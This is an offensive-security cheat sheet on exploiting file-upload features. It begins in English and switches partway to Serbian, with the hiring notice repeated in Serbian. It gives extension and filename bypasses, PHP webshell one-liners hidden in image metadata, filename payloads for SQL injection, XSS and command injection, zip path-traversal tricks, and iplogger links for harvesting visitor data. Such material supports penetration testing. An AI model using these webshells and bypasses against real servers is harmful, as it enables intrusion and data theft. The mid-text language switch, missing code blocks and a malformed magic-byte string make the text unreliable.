File Upload
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
File Upload General Methodology
Other useful extensions:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Bypass file extensions checks
If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr ...
Check adding a valid extension before the execution extension (use previous extensions also):
file.png.php
file.png.Php5
Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Add another layer of extensions to the previous check:
file.png.jpg.php
file.php%00.png%00.jpg
Try to put the exec extension before the valid extension and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
ex: file.php.png
Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
Bypass Content-Type, Magic Number, Compression & Resizing
Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
or you could also introduce the payload directly in an image:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won't be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
The web page cold also be resizing the image, using for example the PHP-GD functions
imagecopyresized
orimagecopyresampled
. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression.Another technique to make a payload that survives an image resizing, using the PHP-GD function
thumbnailImage
. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression.
Other Tricks to check
Find a vulnerability to rename the file already uploaded (to change the extension).
Find a Local File Inclusion vulnerability to execute the backdoor.
Possible Information disclosure:
Upload several times (and at the same time) the same file with the same name
Upload a file with the name of a file or folder that already exists
Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
Upload a file in Windows with invalid characters such as
|<>*?”
in its name. (Windows)Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.
Special extension tricks
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar
files are like the .jar
for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)
The .inc
extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
Jetty RCE
If you can upload a XML file into a Jetty server you can obtain RCE because new *.xml and *.war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/
and expect the shell!
uWSGI RCE
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini
configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as @(filename)
, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini
configuration file is processed.
Consider the following example of a harmful uwsgi.ini
file, showcasing various schemes:
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, diskutovani payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.
wget File Upload/SSRF Trick
U nekim slučajevima možete primetiti da server koristi wget
za preuzimanje datoteka i možete navesti URL. U ovim slučajevima, kod može proveravati da li je ekstenzija preuzetih datoteka unutar bele liste kako bi se osiguralo da se preuzimaju samo dozvoljene datoteke. Međutim, ova provera se može zaobići.
Maksimalna dužina imena datoteke u linux-u je 255, međutim, wget skraćuje imena datoteka na 236 karaktera. Možete preuzeti datoteku pod nazivom "A"*232+".php"+".gif", ovo ime datoteke će zaobići proveru (jer je u ovom primeru ".gif" važeća ekstenzija) ali će wget
preimenovati datoteku u "A"*232+".php".
Napomena da druga opcija koju možda razmišljate da zaobiđete ovu proveru je da napravite HTTP server preusmeri na drugu datoteku, tako da će početni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo neće raditi osim ako se wget koristi sa parametrom --trust-server-names
jer wget će preuzeti preusmerenu stranicu sa imenom datoteke naznačenim u originalnom URL-u.
Alati
Upload Bypass je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za učitavanje datoteka. Koristi razne tehnike nagrađivanja grešaka kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
Od učitavanja datoteka do drugih ranjivosti
Postavite ime datoteke na
../../../tmp/lol.png
i pokušajte da postignete putanju prelazakaPostavite ime datoteke na
sleep(10)-- -.jpg
i možda ćete moći da postignete SQL injekcijuPostavite ime datoteke na
<svg onload=alert(document.domain)>
da biste postigli XSSPostavite ime datoteke na
; sleep 10;
da biste testirali neku injekciju komandi (više trikova za injekciju komandi ovde)JS datoteka upload + XSS = eksploatacija servisnih radnika
Pokušajte različite svg payload-e sa https://github.com/allanlw/svg-cheatsheet****
Ako možete naznačiti web serveru da uhvati sliku sa URL-a mogli biste pokušati da zloupotrebite SSRF. Ako će ova slika biti sačuvana na nekom javnom sajtu, mogli biste takođe naznačiti URL sa https://iplogger.org/invisible/ i ukrasti informacije o svakom posetiocu.
Posebno oblikovani PDF-ovi za XSS: sledeća stranica prikazuje kako da ubacite PDF podatke da biste dobili izvršenje JS. Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
Učitajte [eicar](https://secure.eicar.org/eicar.com.txt) sadržaj da proverite da li server ima neki antivirus
Proverite da li postoji bilo kakvo ograničenje veličine prilikom učitavanja datoteka
Evo top 10 liste stvari koje možete postići učitavanjem (sa ovde):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injekcija
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injekcija / XSS / Otvoreno preusmeravanje
PNG / JPEG: Pixel flood napad (DoS)
ZIP: RCE putem LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
Burp Ekstenzija
Magični Header Bajtovi
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
Pogledajte https://en.wikipedia.org/wiki/List_of_file_signatures za druge tipove datoteka.
Zip/Tar datoteka automatski dekompresovana upload
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
Symlink
Učitajte link koji sadrži softverske linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
Decompress in different folders
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhivskog formata mogu se iskoristiti. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
Automatizovani exploit za kreiranje takvih fajlova je dostupan na evilarc on GitHub. Alat se može koristiti kao što je prikazano:
Dodatno, symlink trik sa evilarc je opcija. Ako je cilj ciljati datoteku kao što je /flag.txt
, treba kreirati symlink ka toj datoteci u vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada.
Ispod je primer Python koda koji se koristi za kreiranje malicioznog zip fajla:
Zloupotreba kompresije za file spraying
Za više detalja proverite originalni post na: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Kreiranje PHP Shell-a: PHP kod je napisan da izvršava komande prosleđene kroz
$_REQUEST
promenljivu.
File Spraying i kreiranje komprimovanih fajlova: Više fajlova se kreira i zip arhiva se sastavlja koja sadrži ove fajlove.
Izmena pomoću Hex Editora ili vi: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" da bi se pretraživali direktorijumi.
ImageTragic
Otpremite ovaj sadržaj sa ekstenzijom slike da biste iskoristili ranjivost (ImageMagick , 7.0.1-1) (iz eksploita)
Ugrađivanje PHP Shell-a u PNG
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije imagecopyresized
i imagecopyresampled
iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: "Encoding Web Shells in PNG IDAT chunks". Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
Više informacija na: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Poliglot datoteke
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je GIFAR, hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
Više informacija na: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Reference
Ako ste zainteresovani za hacking karijeru i hakovanje nehakovanog - zapošljavamo! (potrebno je tečno pisano i govorno poljski).
Last updated